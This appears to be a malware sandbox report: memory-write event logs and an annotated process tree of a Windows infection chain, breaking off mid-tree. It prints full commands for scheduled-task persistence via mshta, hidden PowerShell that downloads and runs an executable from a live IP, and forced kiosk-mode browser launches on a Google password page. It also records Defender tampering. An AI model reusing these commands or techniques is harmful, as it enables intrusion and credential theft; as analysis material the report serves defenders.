PID 2044 wrote to memory of 2584	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	30
PID 2044 wrote to memory of 2584	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	30
PID 2044 wrote to memory of 1636	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	31
PID 2044 wrote to memory of 1636	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	31
PID 2044 wrote to memory of 1636	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	31
PID 2044 wrote to memory of 1636	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	31
PID 2584 wrote to memory of 2352	2584	cmd.exe	33
PID 2584 wrote to memory of 2352	2584	cmd.exe	33
PID 2584 wrote to memory of 2352	2584	cmd.exe	33
PID 2584 wrote to memory of 2352	2584	cmd.exe	33
PID 1636 wrote to memory of 1980	1636	mshta.exe	34
PID 1636 wrote to memory of 1980	1636	mshta.exe	34
PID 1636 wrote to memory of 1980	1636	mshta.exe	34
PID 1636 wrote to memory of 1980	1636	mshta.exe	34
PID 1980 wrote to memory of 2904	1980	powershell.exe	36
PID 1980 wrote to memory of 2904	1980	powershell.exe	36
PID 1980 wrote to memory of 2904	1980	powershell.exe	36
PID 1980 wrote to memory of 2904	1980	powershell.exe	36
PID 2904 wrote to memory of 2992	2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE	38
PID 2904 wrote to memory of 2992	2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE	38
PID 2904 wrote to memory of 2992	2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE	38
PID 2904 wrote to memory of 2992	2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE	38
PID 2992 wrote to memory of 1956	2992	rapes.exe	40
PID 2992 wrote to memory of 1956	2992	rapes.exe	40
PID 2992 wrote to memory of 1956	2992	rapes.exe	40
PID 2992 wrote to memory of 1956	2992	rapes.exe	40
PID 1956 wrote to memory of 2964	1956	7ba969f541.exe	41
PID 1956 wrote to memory of 2964	1956	7ba969f541.exe	41
PID 1956 wrote to memory of 2964	1956	7ba969f541.exe	41
PID 1956 wrote to memory of 2964	1956	7ba969f541.exe	41
PID 1956 wrote to memory of 2996	1956	7ba969f541.exe	42
PID 1956 wrote to memory of 2996	1956	7ba969f541.exe	42
PID 1956 wrote to memory of 2996	1956	7ba969f541.exe	42
PID 1956 wrote to memory of 2996	1956	7ba969f541.exe	42
PID 2964 wrote to memory of 2852	2964	cmd.exe	44
PID 2964 wrote to memory of 2852	2964	cmd.exe	44
PID 2964 wrote to memory of 2852	2964	cmd.exe	44
PID 2964 wrote to memory of 2852	2964	cmd.exe	44
PID 2996 wrote to memory of 2748	2996	mshta.exe	45
PID 2996 wrote to memory of 2748	2996	mshta.exe	45
PID 2996 wrote to memory of 2748	2996	mshta.exe	45
PID 2996 wrote to memory of 2748	2996	mshta.exe	45
PID 2748 wrote to memory of 1124	2748	powershell.exe	47
PID 2748 wrote to memory of 1124	2748	powershell.exe	47
PID 2748 wrote to memory of 1124	2748	powershell.exe	47
PID 2748 wrote to memory of 1124	2748	powershell.exe	47
PID 2992 wrote to memory of 864	2992	rapes.exe	48
PID 2992 wrote to memory of 864	2992	rapes.exe	48
PID 2992 wrote to memory of 864	2992	rapes.exe	48
PID 2992 wrote to memory of 864	2992	rapes.exe	48
PID 864 wrote to memory of 1968	864	cmd.exe	50
PID 864 wrote to memory of 1968	864	cmd.exe	50
PID 864 wrote to memory of 1968	864	cmd.exe	50
PID 864 wrote to memory of 1968	864	cmd.exe	50
PID 864 wrote to memory of 2400	864	cmd.exe	51
PID 864 wrote to memory of 2400	864	cmd.exe	51
PID 864 wrote to memory of 2400	864	cmd.exe	51
PID 864 wrote to memory of 2400	864	cmd.exe	51
PID 2400 wrote to memory of 2504	2400	cmd.exe	52
PID 2400 wrote to memory of 2504	2400	cmd.exe	52
PID 2400 wrote to memory of 2504	2400	cmd.exe	52
PID 2400 wrote to memory of 2504	2400	cmd.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
"C:\Users\Admin\AppData\Local\Temp\86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn mHKzNmaqD7o /tr "mshta C:\Users\Admin\AppData\Local\Temp\NgQDGBaaT.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn mHKzNmaqD7o /tr "mshta C:\Users\Admin\AppData\Local\Temp\NgQDGBaaT.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2352
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\NgQDGBaaT.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'J6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1980
  - - C:\Users\Admin\AppData\Local\TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
      "C:\Users\Admin\AppData\Local\TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2992
      - C:\Users\Admin\AppData\Local\Temp\10318740101\7ba969f541.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318740101\7ba969f541.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1956
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn VVarSmaMCrf /tr "mshta C:\Users\Admin\AppData\Local\Temp\NjRMGpOps.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2964
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn VVarSmaMCrf /tr "mshta C:\Users\Admin\AppData\Local\Temp\NjRMGpOps.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2852
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\NjRMGpOps.hta
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of WriteProcessMemory
        
        PID:2996
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'UEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
        
        "C:\Users\Admin\AppData\Local\TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:1124
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10318750121\am_no.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:864
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1968
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2504
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2712
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2476
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1572
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2564
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "sOE0gmaTtGk" /tr "mshta \"C:\Temp\VuEkvWiQP.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:768
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\VuEkvWiQP.hta"
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2028
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2520
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2692
      - C:\Users\Admin\AppData\Local\Temp\10318860101\QL4t9UZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318860101\QL4t9UZ.exe"
        6⤵
        Executes dropped EXE
        
        PID:2296
      - C:\Users\Admin\AppData\Local\Temp\10319000101\9daa8ce51a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319000101\9daa8ce51a.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2752
      - C:\Users\Admin\AppData\Local\Temp\10319010101\8045970a06.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319010101\8045970a06.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:820
      - C:\Users\Admin\AppData\Local\Temp\10319020101\770a8152e2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319020101\770a8152e2.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2228
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2504
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1740
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2528
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1568
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1324
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:1972
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1636
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1636.0.1654265577\278607147" -parentBuildID 20221007134813 -prefsHandle 1232 -prefMapHandle 1224 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {68366ee0-a3fc-4b4b-a07c-f0812fce4acd} 1636 "\\.\pipe\gecko-crash-server-pipe.1636" 1308 7ef8058 gpu
        9⤵
        
        PID:1276
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1636.1.111702695\1271134152" -parentBuildID 20221007134813 -prefsHandle 1484 -prefMapHandle 1480 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {486706fc-0790-4704-9f75-dd8ae8a12247} 1636 "\\.\pipe\gecko-crash-server-pipe.1636" 1496 d71b58 socket
        9⤵
        
        PID:2700
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1636.2.1770638027\2100678984" -childID 1 -isForBrowser -prefsHandle 2076 -prefMapHandle 2072 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1a4f604c-cf1f-43bb-abbf-dca932dc1cb5} 1636 "\\.\pipe\gecko-crash-server-pipe.1636" 2088 7e5cd58 tab
        9⤵
        
        PID:2184
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1636.3.1823139583\212024942" -childID 2 -isForBrowser -prefsHandle 2744 -prefMapHandle 2740 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {64ec96e9-5104-441c-b2a3-452e25b0e4de} 1636 "\\.\pipe\gecko-crash-server-pipe.1636" 2756 d61b58 tab
        9⤵
        
        PID:1788
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1636.4.1358010473\85317873" -childID 3 -isForBrowser -prefsHandle 3608 -prefMapHandle 3624 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7db983cd-ba8d-420d-93dd-a3575acf8651} 1636 "\\.\pipe\gecko-crash-server-pipe.1636" 3564 1b6f1a58 tab
        9⤵
        
        PID:2564
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1636.5.585282368\1201963276" -childID 4 -isForBrowser -prefsHandle 1132 -prefMapHandle 3644 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1f5e4e68-4e87-40d1-895b-86ea767104a3} 1636 "\\.\pipe\gecko-crash-server-pipe.1636" 1128 83c6458 tab
        9⤵
        
        PID:3024
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1636.6.2037858193\609148126" -childID 5 -isForBrowser -prefsHandle 3980 -prefMapHandle 3984 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a8979a3c-b5a8-4efc-bb15-497a8d3c4518} 1636 "\\.\pipe\gecko-crash-server-pipe.1636" 3968 1e58e758 tab
        9⤵
        
        PID:2568
      - C:\Users\Admin\AppData\Local\Temp\10319030101\e9ccb8daa1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319030101\e9ccb8daa1.exe"
        6⤵
        Modifies Windows Defender DisableAntiSpyware settings
        Modifies Windows Defender Real-time Protection settings
        Modifies Windows Defender TamperProtection settings
        Modifies Windows Defender notification settings
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Windows security modification
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2716
      - C:\Users\Admin\AppData\Local\Temp\10319040101\5d0ced5341.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319040101\5d0ced5341.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:3240
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4032
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef4e39758,0x7fef4e39768,0x7fef4e39778
        8⤵
        
        PID:4056
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        8⤵
        
        PID:3184
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1144 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:2
        8⤵
        
        PID:3256
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1436 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:8
        8⤵
        
        PID:2804
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:8
        8⤵
        
        PID:3264
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2292 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:2372
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2316 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3540
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1096 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:2
        8⤵
        
        PID:1496
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3312 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3748
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3488 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:8
        8⤵
        
        PID:3924
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3508 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:8
        8⤵
        
        PID:3916
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3536 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:8
        8⤵
        
        PID:3932
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3840 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:8
        8⤵
        
        PID:3984
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3532 --field-trial-handle=1352,i,4926199506406607170,2539598913832242125,131072 /prefetch:8
        8⤵
        
        PID:3996
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\y58gd" & exit
        7⤵
        
        PID:3956
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        8⤵
        Delays execution with timeout.exe
        
        PID:3200
      - C:\Users\Admin\AppData\Local\Temp\10319050101\f58b0dd405.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319050101\f58b0dd405.exe"
        6⤵
        Executes dropped EXE
        
        PID:4040
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4040 -s 36
        7⤵
        Loads dropped DLL
        
        PID:2680
      - C:\Users\Admin\AppData\Local\Temp\10319060101\Jq0hGDZ.exe
        
